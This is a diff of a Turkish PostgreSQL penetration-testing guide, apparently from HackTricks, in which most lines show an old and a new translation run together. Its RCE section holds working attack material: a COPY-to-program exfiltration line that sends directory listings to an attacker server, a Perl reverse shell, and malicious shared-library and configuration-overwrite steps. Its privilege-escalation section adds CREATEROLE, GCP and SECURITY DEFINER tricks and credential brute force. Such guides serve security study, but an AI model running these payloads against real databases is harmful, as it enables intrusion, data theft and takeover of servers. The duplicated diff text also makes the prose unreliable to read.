* **`pg_write_server_files`** üyesiyseniz **dosyaları yazabilirsiniz** * Eğer **`pg_write_server_files`** üyesiyseniz, dosyalara **yazabilirsiniz**
{% hint style="info" %} {% hint style="info" %}
Postgres'te bir **kullanıcı**, bir **grup** ve bir **rol** aynıdır. Sadece **nasıl kullandığınıza** ve **giriş yapmasına izin verip vermediğinize** bağlıdır. Postgres'te bir **kullanıcı**, bir **grup** ve bir **rol** aynıdır. Sadece **nasıl kullandığınıza** ve **oturum açmasına izin verip vermediğinize** bağlıdır.
{% endhint %} {% endhint %}
```sql ```sql
# Get users roles # Get users roles
@ -259,7 +257,7 @@ SELECT * FROM pg_proc;
### Dizinler ve dosyaları okuma ### Dizinler ve dosyaları okuma
Bu [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun üyeleri (**`pg_read_server_files`** olarak adlandırılır) ve **süper kullanıcılar**, herhangi bir yol üzerinde **`COPY`** yöntemini kullanabilir (bkz. `genfile.c` içindeki `convert_and_check_filename`). Bu [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun üyeleri (yani **`pg_read_server_files`** olarak adlandırılan) ve **süper kullanıcılar**, herhangi bir yol üzerinde **`COPY`** yöntemini kullanabilir (bkz. `genfile.c` içindeki `convert_and_check_filename`).
```sql ```sql
# Read file # Read file
CREATE TABLE demo(t text); CREATE TABLE demo(t text);
@ -300,7 +298,7 @@ GRANT pg_read_server_files TO username;
``` ```
### Basit Dosya Yazma ### Basit Dosya Yazma
Sadece **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri kopyalama işlemini dosya yazmak için kullanabilir. Yalnızca **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri, dosya yazmak için kopyalamayı kullanabilir.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```sql ```sql
@ -316,8 +314,8 @@ GRANT pg_write_server_files TO username;
[**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole) [**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %} {% endhint %}
COPY'ın yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü gönderiyor olsanız bile **tek satırlık bir komut göndermeniz gerekecektir**.\ COPY'ın yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü gönderiyor olsanız bile **tek satırlık bir komut göndermeniz gerekmektedir**.\
Bu tekniğin çok önemli bir kısıtlaması şudur ki **`copy`, bazı ikili değerleri değiştirdiği için ikili dosyalar yazmak için kullanılamaz.** Bu teknikte çok önemli bir kısıtlama şudur ki **`copy`, bazı ikili değerleri değiştirdiği için ikili dosyalar yazmak için kullanılamaz.**
### **İkili dosyaların yüklenmesi** ### **İkili dosyaların yüklenmesi**
@ -329,13 +327,13 @@ Ancak, **büyük ikili dosyaları yüklemek için başka teknikler bulunmaktadı
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original"> ## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformuna**! Bugün bize [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) katılın ve **100.000 $'a kadar** ödüller kazanmaya başlayın! **Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformuna**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **100.000 $'a kadar ödüller kazanmaya** başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
### PostgreSQL tablo verilerinin yerel dosya yazma yoluyla güncellenmesi ### PostgreSQL tablo verilerinin yerel dosya yazma yoluyla güncellenmesi
PostgreSQL sunucusu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** sunucuda güncelleyebilirsiniz. Bu tekniğe ilişkin **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). PostgreSQL sunucusu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** sunucuda güncelleyebilirsiniz. Bu teknik hakkında **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Gerekli adımlar: Gerekli adımlar:
@ -345,7 +343,7 @@ Gerekli adımlar:
SELECT setting FROM pg_settings WHERE name = 'data_directory'; SELECT setting FROM pg_settings WHERE name = 'data_directory';
``` ```
**Not:** Ayarlar aracılığıyla mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir. **Not:** Ayarlar üzerinden mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir.
2. Hedef tablo ile ilişkili dosya düğümüne göre göreceli bir yol alın 2. Hedef tablo ile ilişkili dosya düğümüne göre göreceli bir yol alın
```sql ```sql
@ -397,15 +395,15 @@ SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```sql ```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
``` ```
8. PostgreSQL'de güncellenmiş tablo değerlerini görmelisiniz. 8. Artık PostgreSQL'de güncellenmiş tablo değerlerini görmelisiniz.
`pg_authid` tablosunu düzenleyerek süper yönetici de olabilirsiniz. **Aşağıdaki bölüme** [**bakın**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). `pg_authid` tablosunu düzenleyerek süper yönetici de olabilirsiniz. **Aşağıdaki bölüme** [**bakın**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
## RCE ## Uzaktan Kod Çalıştırma (RCE)
### **Programa RCE** ### **Programa RCE**
[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri, RCE için kopyalamayı kullanabilir (veri sızdırma örneğiyle birlikte: [9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri RCE için kopyayı kullanabilir (veri sızdırma örneğiyle:
```sql ```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
``` ```
@ -423,15 +421,14 @@ DROP TABLE IF EXISTS cmd_exec;
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Unutmayın ki süper kullanıcı değilseniz ancak **`CREATEROLE`** izinlerine sahipseniz, **kendinizi o gruba üye yapabilirsiniz:** Unutmayın ki süper kullanıcı değilseniz ancak **`CREATEROLE`** izinlerine sahipseniz **kendinizi o gruba üye yapabilirsiniz:**
```sql ```sql
GRANT pg_execute_server_program TO username; GRANT pg_execute_server_program TO username;
``` ```
[**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole) [**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %} {% endhint %}
Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` modülünü kullanın.\ Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` modülünü kullanın. Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) ulaşabilirsiniz. CVE-2019-9193 olarak bildirilse de, Postges bunun bir [özellik olduğunu ve düzeltilmeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı.
Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) ulaşabilirsiniz. CVE-2019-9193 olarak rapor edilmesine rağmen, Postges bunun bir [özellik olduğunu ve düzeltilmeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı.
### PostgreSQL Dilleri ile RCE ### PostgreSQL Dilleri ile RCE
@ -453,18 +450,18 @@ Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwo
Aşağıdaki RCE vektörleri, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır. Aşağıdaki RCE vektörleri, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır.
{% endhint %} {% endhint %}
PostgreSQL'nin **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak dosyaları dosya sistemine yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.** PostgreSQL'nin **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir** olduğundan, **süper kullanıcı** olarak dosyaları dosya sisteminde yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz**.
![](<../.gitbook/assets/image (303).png>) ![](<../.gitbook/assets/image (303).png>)
#### **ssl\_passphrase\_command ile RCE** #### **ssl\_passphrase\_command ile RCE**
Bu tekniğe dair daha fazla bilgiye [buradan ulaşabilirsiniz](https://pulsesecurity.co.nz/articles/postgres-sqli). Bu tekniğe ilişkin daha fazla bilgiye [buradan](https://pulsesecurity.co.nz/articles/postgres-sqli) ulaşabilirsiniz.
Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç özellikler bulunmaktadır: Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç özellikler bulunmaktadır:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolunu belirtir * `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolunu belirtir
* `ssl_passphrase_command = ''` Özel dosya şifre ile korunuyorsa (şifrelenmiş) postgresql bu özelliğe belirtilen komutu **çalıştıracaktır**. * `ssl_passphrase_command = ''` Özel dosya şifre ile korunuyorsa, postgresql bu özelliğe belirtilen komutu **çalıştıracaktır**.
* `ssl_passphrase_command_supports_reload = off` Bu özellik **açıksa**, anahtar şifre ile korunuyorsa **komut** `pg_reload_conf()` **çalıştırıldığında** **çalıştırılacaktır**. * `ssl_passphrase_command_supports_reload = off` Bu özellik **açıksa**, anahtar şifre ile korunuyorsa **komut** `pg_reload_conf()` **çalıştırıldığında** **çalıştırılacaktır**.
Bu durumda, bir saldırganın yapması gerekenler: Bu durumda, bir saldırganın yapması gerekenler:
@ -479,15 +476,15 @@ Bu durumda, bir saldırganın yapması gerekenler:
2. `ssl_passphrase_command_supports_reload = on` 2. `ssl_passphrase_command_supports_reload = on`
6. `pg_reload_conf()`'yi çalıştırın 6. `pg_reload_conf()`'yi çalıştırın
Bu test sırasında fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalıklara sahip olması durumunda çalışacağıdır**, **root** tarafından **sahiplenilmiş** ve **ssl-cert veya postgres** grubuna ait (bu nedenle postgres kullanıcısı okuyabilir), ve _/var/lib/postgresql/12/main_ dizininde bulunması gerektiğidir. Bu test sırasında fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalıklara sahip olması**, **root tarafından sahip olunması** ve **ssl-cert veya postgres grubuna ait olması** (bu nedenle postgres kullanıcısının okuyabilmesi) ve _/var/lib/postgresql/12/main_ dizininde bulunması durumunda çalışacağıdır.
#### **archive\_command ile RCE** #### **archive\_command ile RCE**
Bu yapılandırma ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)** ulaşabilirsiniz**. Bu yapılandırmaya ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3) ulaşabilirsiniz.
Saldırıya açık başka bir özellik, `archive_command` adlı yapılandırma dosyasındadır. Saldırıya açık olan başka bir özellik, `archive_command` içindeki komutun üzerine yazılabilmesidir.
Bu işlem için `archive_mode` ayarının `'on'` veya `'always'` olması gerekmektedir. Eğer bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz. Bu işlem için `archive_mode` ayarının `'on'` veya `'always'` olması gerekmektedir. Bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz.
Genel adımlar şunlardır: Genel adımlar şunlardır:
@ -498,21 +495,21 @@ Genel adımlar şunlardır:
#### **preload kütüphaneleri ile RCE** #### **preload kütüphaneleri ile RCE**
Bu tekniğe dair daha fazla bilgiye [buradan ulaşabilirsiniz](https://adeadfed.com/posts/postgresql-select-only-rce/). Bu tekniğe ilişkin daha fazla bilgiye [buradan](https://adeadfed.com/posts/postgresql-select-only-rce/) ulaşabilirsiniz.
Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden faydalanır: Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden faydalanır:
* `session_preload_libraries` -- PostgreSQL sunucusunun istemci bağlantısında yüklenecek kütüphaneler. * `session_preload_libraries` -- PostgreSQL sunucusunun istemci bağlantısında yüklenecek kütüphaneler.
* `dynamic_library_path` -- PostgreSQL sunucusunun kütüphaneleri arayacağı dizinlerin listesi. * `dynamic_library_path` -- PostgreSQL sunucusunun kütüphaneleri arayacağı dizinlerin listesi.
`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısı tarafından yazılabilir bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Sonrasında PostgreSQL sunucusunu, yeni yüklediğimiz kütüphaneyi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız. `dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısının yazma iznine sahip olduğu bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Daha sonra, PostgreSQL sunucusunu, yeni yüklediğimiz kütüphaneyi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız.
Saldırı adımları şunlardır: Saldırı adımları şunlardır:
1. Orijinal `postgresql.conf` dosyasını indirin 1. Orijinal `postgresql.conf` dosyasını indirin
2. `dynamic_library_path` değerine `/tmp/` dizinini dahil edin, örneğin `dynamic_library_path = '/tmp:$libdir'` 2. `dynamic_library_path` değerine `/tmp/` dizinini dahil edin, örneğin `dynamic_library_path = '/tmp:$libdir'`
3. `session_preload_libraries` değerine zararlı kütüphane adını dahil edin, örneğin `session_preload_libraries = 'payload.so'` 3. `session_preload_libraries` değerine zararlı kütüphane adını dahil edin, örneğin `session_preload_libraries = 'payload.so'`
4. `SELECT version()` sorgusu ile PostgreSQL ana sürümünü kontrol edin 4. `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü kontrol edin
5. Doğru PostgreSQL geliştirme paketi ile zararlı kütüphane kodunu derleyin Örnek kod: 5. Doğru PostgreSQL geliştirme paketi ile zararlı kütüphane kodunu derleyin Örnek kod:
```c ```c
@ -569,9 +566,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
#### **Grant** #### **Grant**
[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**CREATEROLE** yetkisine sahip roller, **süper kullanıcı olmayan** herhangi bir role **üyelik verip veya geri çekebilir**._ [**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**CREATEROLE** yetkisine sahip roller, **süper kullanıcı olmayan** herhangi bir role **üyelik verip veya üyelikten çıkarabilir**._
Yani, eğer **`CREATEROLE`** izniniz varsa, kendinize diğer **roller** (süper kullanıcı olmayanlar) erişim izni verebilirsiniz, bu da size dosyaları okuma ve yazma ile komutları çalıştırma seçeneği sunabilir: Yani, eğer **`CREATEROLE`** izniniz varsa, diğer **roller** (süper kullanıcı olmayanlar) için erişim sağlayabilir ve bu da size dosyaları okuma & yazma ve komutları yürütme seçeneği verebilir:
```sql ```sql
# Access to execute commands # Access to execute commands
GRANT pg_execute_server_program TO username; GRANT pg_execute_server_program TO username;
@ -582,12 +579,12 @@ GRANT pg_write_server_files TO username;
``` ```
#### Parolayı Değiştir #### Parolayı Değiştir
Bu roldeki kullanıcılar ayrıca diğer **süper olmayan kullanıcıların** parolalarını da **değiştirebilirler**: Bu roldeki kullanıcılar diğer **süper olmayan kullanıcıların** parolalarını da **değiştirebilirler**:
```sql ```sql
#Change password #Change password
ALTER USER user_name WITH PASSWORD 'new_password'; ALTER USER user_name WITH PASSWORD 'new_password';
``` ```
#### SUPERUSER Yetkisine Yükseltme #### SUPERUSER'a Yükseltme
Genellikle **yerel kullanıcıların PostgreSQL'e herhangi bir şifre sağlamadan giriş yapabileceğini** görmek oldukça yaygındır. Bu nedenle, **kodları yürütme izinlerini topladığınızda**, bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz: Genellikle **yerel kullanıcıların PostgreSQL'e herhangi bir şifre sağlamadan giriş yapabileceğini** görmek oldukça yaygındır. Bu nedenle, **kodları yürütme izinlerini topladığınızda**, bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz:
```sql ```sql
@ -609,11 +606,11 @@ host all all ::1/128 trust
[**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) Postgres GCP'de **privesc** yapmanın, kullanıcıya verilen ALTER TABLE ayrıcalığını kötüye kullanarak nasıl mümkün olduğu açıklanmaktadır. [**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) Postgres GCP'de **privesc** yapmanın, kullanıcıya verilen ALTER TABLE ayrıcalığını kötüye kullanarak nasıl mümkün olduğu açıklanmaktadır.
Bir **başka kullanıcıyı bir tablonun sahibi yapmaya** çalıştığınızda, bunu engelleyen bir **hata** almanız gerektiği, ancak görünüşe göre GCP'nin bu **seçeneği GCP'deki süper kullanıcı olmayan postgres kullanıcısına** verdiği belirtilmektedir: **Başka bir kullanıcıyı bir tablonun sahibi yapmaya çalıştığınızda** buna engel olan bir **hata** almanız gerektiği, ancak GCP'nin bu **seçeneği GCP'deki süper kullanıcı postgres kullanıcısına** verdiği ortaya çıktı:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek, bir indeks oluşturmak ve bu tabloya sahip izinleri bir **süper kullanıcıya** vermek ve ardından sahibin izinlerini kullandığı için komutları yürütebilecek olan kötü niyetli bir işlevle tabloyu ANALYZE etmek mümkündür. Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek, mümkündür. Bir fonksiyonla bir indeks oluşturmak ve bu tabloya sahip izinleri bir **süper kullanıcıya** vermek, ardından sahibin izinlerini kullandığı için komutları yürütebilecek kötü niyetli bir fonksiyonla tabloyu ANALYZE etmek.
```c ```c
GetUserIdAndSecContext(&save_userid, &save_sec_context); GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner, SetUserIdAndSecContext(onerel->rd_rel->relowner,
@ -624,7 +621,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
1. Yeni bir tablo oluşturarak başlayın. 1. Yeni bir tablo oluşturarak başlayın.
2. Tabloya anlamsız içerik ekleyerek dizin işlevi için veri sağlayın. 2. Tabloya anlamsız içerik ekleyerek dizin işlevi için veri sağlayın.
3. Yetkisiz komutların yürütülmesine izin veren bir kod yürütme yükü içeren kötü amaçlı bir dizin işlevi geliştirin. 3. Yetkisiz komutların yürütülmesine izin veren bir kod yürütme yükü içeren kötü amaçlı bir dizin işlevi geliştirin.
4. Tablonun sahibini "cloudsqladmin" olarak DEĞİŞTİRİN, bu GCP'nin özel olarak Cloud SQL tarafından veritabanını yönetmek ve sürdürmek için kullanılan süper kullanıcı rolüdür. 4. Tablonun sahibini "cloudsqladmin" olarak DEĞİŞTİRİN, bu, veritabanını yönetmek ve sürdürmek için yalnızca Cloud SQL tarafından kullanılan GCP'nin süper kullanıcı rolüdür.
5. Tablo üzerinde bir ANALYZE işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunu tablonun sahibi olan "cloudsqladmin" kullanıcı bağlamına geçmeye zorlar. Sonuç olarak, kötü amaçlı dizin işlevi "cloudsqladmin" izinleriyle çağrılır ve bu da önceden izinsiz yürütülen kabuk komutlarının yürütülmesini sağlar. 5. Tablo üzerinde bir ANALYZE işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunu tablonun sahibi olan "cloudsqladmin" kullanıcı bağlamına geçmeye zorlar. Sonuç olarak, kötü amaçlı dizin işlevi "cloudsqladmin" izinleriyle çağrılır ve bu da önceden izinsiz yürütülen kabuk komutlarının yürütülmesini sağlar.
PostgreSQL'de, bu akış şöyle görünür: PostgreSQL'de, bu akış şöyle görünür:
@ -654,7 +651,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
``` ```
### Yerel Giriş ### Yerel Giriş
Bazı yanlış yapılandırılmış postgresql örnekleri, herhangi bir yerel kullanıcının girişine izin verebilir, 127.0.0.1'den **`dblink` fonksiyonu** kullanılarak yerel giriş yapılabilir: Bazı yanlış yapılandırılmış postgresql örnekleri, herhangi bir yerel kullanıcının girişine izin verebilir, 127.0.0.1'den **`dblink` fonksiyonu** kullanılarak yerel giriş yapmak mümkündür:
```sql ```sql
\du * # Get Users \du * # Get Users
\l # Get databases \l # Get databases
@ -673,7 +670,7 @@ CREATE EXTENSION dblink;
``` ```
{% endhint %} {% endhint %}
Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak kullanıcının harici bir IP'den giriş yapmasına izin verilmiyorsa, aşağıdaki işlevi kullanarak sorguları o kullanıcı olarak çalıştırabilirsiniz: Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak kullanıcının harici bir IP'den giriş yapmasına izin verilmiyorsa, aşağıdaki işlevi kullanarak bu kullanıcı olarak sorguları yürütebilirsiniz:
```sql ```sql
SELECT * FROM dblink('host=127.0.0.1 SELECT * FROM dblink('host=127.0.0.1
user=someuser user=someuser
@ -687,7 +684,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
``` ```
### **Güvenlik Tanımlayıcısı ile Özel Tanımlı Fonksiyon** ### **Güvenlik Tanımlayıcısı ile Özel Tanımlı Fonksiyon**
[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentester'lar, IBM tarafından sağlanan bir postgres örneğinde **bu güvenlik tanımlayıcısı bayrağıyla** bulunan bir fonksiyon nedeniyle ayrıcalıklarını yükseltebildiler: [**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentester'lar, IBM tarafından sağlanan bir postgres örneğinde **bu fonksiyonu GÜVENLİK TANIMLAYICI bayrağıyla** buldukları için bir ayrıcalık yükseltme saldırısı gerçekleştirebildiler:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text) <pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text RETURNS text
@ -708,9 +705,9 @@ PERFORM dblink_disconnect();
</code></pre> </code></pre>
[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER ile** bir fonksiyon, **onu sahip olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, eğer fonksiyon **SQL Enjeksiyonuna duyarlıysa** veya **saldırgan tarafından kontrol edilen parametrelerle ayrıcalıklı işlemler yapıyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**. [**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) GÜVENLİK TANIMLAYICI ile bir fonksiyon, **onu sahip olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, eğer fonksiyon **SQL Enjeksiyonuna duyarlıysa** veya saldırgan tarafından kontrol edilen bazı parametrelerle **ayrıcalıklı işlemler gerçekleştiriyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**.
Önceki kodun 4. satırında fonksiyonun **SECURITY DEFINER** bayrağına sahip olduğunu görebilirsiniz. Önceki kodun 4. satırında fonksiyonun **GÜVENLİK TANIMLAYICI** bayrağına sahip olduğunu görebilirsiniz.
```sql ```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
@ -720,34 +717,34 @@ Ve sonra **komutları çalıştır**:
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
### PL/pgSQL ile Brute Force Yöntemi Kullanarak Parola Kırma ### PL/pgSQL ile Brute Force Yöntemi
**PL/pgSQL**, SQL'e kıyasla daha fazla işlem kontrolü sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanımını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonu için daha kapsamlı ve esnek bir yaklaşım sağlar.\ **PL/pgSQL**, SQL'e kıyasla daha fazla prosedürel kontrol sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanılmasını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonuna daha kapsamlı ve esnek bir yaklaşım sağlar.\
**Bu dilin kötüye kullanılmasıyla PostgreSQL'den kullanıcı kimlik bilgilerini brute force yöntemiyle çalabilirsiniz.** **Bu dilin kötüye kullanılmasıyla PostgreSQL'den kullanıcı kimlik bilgilerini brute force etmesini isteyebilirsiniz.**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) [pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %} {% endcontent-ref %}
